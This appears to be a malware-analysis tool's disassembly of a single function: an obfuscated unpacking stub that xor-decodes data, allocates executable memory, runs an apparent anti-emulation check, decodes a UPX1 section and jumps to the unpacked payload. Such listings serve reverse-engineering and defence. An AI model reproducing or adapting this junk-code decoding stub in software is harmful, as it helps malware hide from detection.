Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x72a0543c
and edx, ebx
or ebx, ebx
add edx, 0xc52c2f3c
popal
dec edx
and edx, edx
mov ecx, 0
mov edx, eax
not esi
inc ebx
mov edi, edx
sub ebx, 0x74697f34
sub esi, 0x65b2ff18
inc esi
mov eax, edi
or esi, ebx
mov ebx, esi
inc ecx
dec ebx
sub esi, 0x173367ab
cmp ecx, 0x1003287
jne 0xa789c5
and ebx, ebx
mov esi, 0x59cc6340
sub ebx, esi
mov edx, ebx
inc edx
mov eax, 0xa78796
and ebx, ebx
sub esi, 0xc67e29fe
dec esi
mov ecx, 0xa7898a
add edi, 0x154d473b
and edi, esi
mov edx, dword [eax]
sub ebx, edi
inc esi
mov esi, 0x894a79fe
and edx, 0xff
inc esi
mov esi, 0x604ad37c
mov edi, ebx
xor dword [ecx], edx
inc ebx
mov edi, esi
inc ecx
not esi
inc ebx
inc eax
dec edi
add esi, 0xf830d7c
sub ebx, 0x24529517
cmp ecx, entry0
jl 0xa78a1a
mov ebx, 0x692b7c75
and esi, esi
mov ebx, esi
mov ebx, edi
mov edi, esi
sub ecx, 0x6f8eb9a2
or ebx, edx
add ecx, 0x8bd955b9
mov edi, 0xa7898e
mov ecx, 0x31e0d05a
not edx
mov edi, dword [edi]
add ebx, 0x2aac3599
dec esi
sub edx, ebx
mov edi, dword [edi]
dec ebx
not ecx
push edi
dec ebx
mov esi, ecx
add ecx, 0xb6db9b29
mov edi, 0xa7898a
add ebx, edx
sub edx, 0x29686d47
mov edx, 0x26187160
mov edi, dword [edi]
add esi, 0x93534301
or ebx, edx
mov edi, dword [edi]
add esi, 1
mov esi, ecx
push 0xa78992
or edx, edx
mov esi, 0x65107570
call edi
not esi
sub ebx, 0x7c8a87f2
add esi, 0x7e44d8b6
pop edi
mov esi, 0x18452b02
sub ebx, ecx
or esi, ebx
push 0xa7899f
add ebx, 0xaf8ddadd
and ecx, edx
add ecx, esi
push eax
or ecx, edx
dec ebx
sub edx, esi
call edi
sub ebx, 0xf3d5c465
add edx, 1
push 0x40
mov edx, esi
sub esi, 0x55d9d968
push 0x3000
mov edx, ebx
or ecx, esi
push 0x20000a22
not ecx
or ecx, ebx
add ebx, 0xe8a1c832
push 0
not edx
not ecx
call eax
not esi
sub ebx, edx
mov ebx, 0x91fdaff5
add eax, 0x20000984
or ebx, edx
or ecx, esi
or esi, esi
mov edi, 0xc5f83799
sub ebx, esi
mov esi, ecx
mov dword [eax], edi
sub ecx, 0x977cbf31
sub ecx, esi
not ebx
mov edi, dword [eax]
inc edx
or ecx, esi
or ecx, esi
cmp edi, 0xc5f83799
je 0xa78b75
mov ebx, 0
mov edx, dword [ebx]
sub edx, esi
sub ebx, ecx
not ebx
or esi, ecx
sub ecx, 0xeb26c5ac
add edx, 1
and edx, ebx
mov ecx, section.UPX1
sub edx, ebx
sub ebx, 1
not ebx
mov esi, 0xa78795
mov ebx, 0x4f9ae8c
add ebx, ebx
mov eax, 0
sub ebx, 0xf7742f79
mov edx, ebx
not ebx
mov edi, 0xa78796
and ebx, edx
sub ebx, edx
lea edi, [edi + eax]
mov edx, 0xb4ccf4dc
add edx, 0xfa5f62
mov edi, dword [edi]
inc edx
sub edx, 0xf403b2fd
and edi, 0xff
and edx, ebx
add edx, ebx
dec ebx
inc eax
mov edx, ebx
add ebx, 0x86afc326
not edx
cmp eax, 0x1f4
jne 0xa78bf8
mov eax, 0
inc edx
or ebx, ebx
not edx
mov ebx, edx
xor dword [ecx], edi
dec edx
or edx, ebx
sub ebx, 0x375c267c
add ecx, 2
sub ebx, 1
inc ebx
cmp ecx, esi
jl 0xa78bb5
sub edx, ebx
sub edx, ebx
and ebx, edx
add edx, 1
add ebx, 0x9d104e8a
mov edi, section.UPX1
inc edx
add eax, 1
mov eax, edx
mov ebx, section.UPX1
not edx
dec eax
mov esi, 0xa78795
sub edx, eax
sub eax, 0xdb9bcf95
mov ecx, 0
dec eax
or edx, edx
mov cl, byte [ebx]
add eax, eax
mov edx, eax
mov byte [edi], cl
add eax, 0xe2f895ec
or edx, eax
or edx, eax
add edi, 1
mov eax, edx
sub edx, eax
not edx
add ebx, 2
not edx
add edx, 0x4b639f3a
cmp ebx, esi
jle 0xa78c5c
add eax, 0x93546728
inc eax
mov edx, 0x71191087
inc edx
sub edx, 0x92304c21
push 0x8dc6a0
mov edx, 0x39586bb4
dec ebx
inc edx
ret